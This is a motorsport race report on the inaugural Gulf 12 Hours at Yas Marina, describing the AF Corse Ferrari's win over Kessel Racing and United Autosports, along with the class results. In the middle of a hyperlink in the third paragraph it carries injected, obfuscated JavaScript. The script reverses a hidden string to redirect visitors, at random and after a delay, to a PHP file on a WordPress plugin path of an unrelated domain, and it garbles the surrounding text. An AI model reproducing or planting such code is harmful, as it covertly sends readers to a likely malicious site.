Turns out the tortoise doesn’t always beat the hare. Though not lacking in outright pace, the heavy braking, swooping nature of the Yas Marina Circuit ultimately proved more suited to AF Corse’s and Kessel Racing’s Ferraris than United Autosport’s Audi. Since a quick nap for the prancing horse was unlikely, tactical measures were required to give the R8 LMS the edge.
And they nearly worked. Taking advantage of an early safety car – shortly after a near distastrous collision with the lead #3 AF Corse car – effectively handed the United Autosport a free driver change. Though out of synch with the other leaders early on, the #5 Audi reclaimed its place at the front when both Ferraris made their final stops with less than an hour to go. Only a late safety car – thrown when IF Motorsport’s luckless Ligier JS49 beached itself – denied Ryan Dalziel, Alex Popow and Enzo Potolicchio a fairy-tale result.
Ultimately, the Gulf 12Hrs was AF Corse’s race to lose. Having finished$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/201217831/gulf-12hr-half-time-with/” target=”_blank”> the first six hours with an 80s advantage, the #3 Ferrari 458 Italia resumed its lead as the green flag fell for part two. But with the left pedal going to the floor and the margin to its nearest rivals expunged, the three-way fight for victory was suddenly a lot tighter. With one hour left to run, #3 drivers Matt Griffin, Marc Cioci and Piergiuseppe Perazzini pulled out all the stops to close the 9s gap to claim victory, brakes or no brakes. A safety car and a late-braking dive down the inside of the Audi, and it was job done.
Following in AF Corse’s hoof prints was Kessel Racing’s #1 car. Out of contention after a late drive-through penalty, Philipp Peter, Michael Broniszewski , Antonio Coimbra and Miguel Ramos’s 40s deficit to the lead had shrunk to 2s by the chequered flag, second-place a good result for their efforts. A disappointed United Autosports crew came home third, 8s further back. So close was the fight for victory in this inaugural event that each of the top three cars topped the timesheets during the closing hours. AF Corse’s sister #90 car took a well-earned fourth place after an incident-laden run, while Autorlando’s Porsche 997 R completed the bullet-proof GT3 line-up in fifth.
PFI-Racing took Cup honours after early class steamrollers Bonaldi Motorsport lost four laps and their lead to catastrophic engine problems. Though the Lamborghini Gallardo reclaimed three, it was not enough to stop the #9 Porsche 997 taking victory in their first endurance event in the Middle East.
Having promised so much after qualifying on outright pole position, Avelon Formula’s weekend ended badly. With the sister #46 car already out by the tenth hour, mechanical maladies started to befall the lead #45 car. With under an hour to run, the Wolf GB 08 finally gave up the ghost, handing FIA CN2 victory to the Lbanez Racing Service team. Ironically, early gear issues had threatened the #18 Norma M20F’s chances of making the start at all.
GT4 class winners Yas Marina Circuit completed the top ten, the UAE locals nursing their aisling Aston Martin V8 Vantage for the final stints as spare parts were few in number. A loose bonnet cost Team Lompech Sport twelve laps, the #10 Renault Megane Eurocup eventually taking the chequered flag just ahead in ninth.
Source – Gulf12Hours
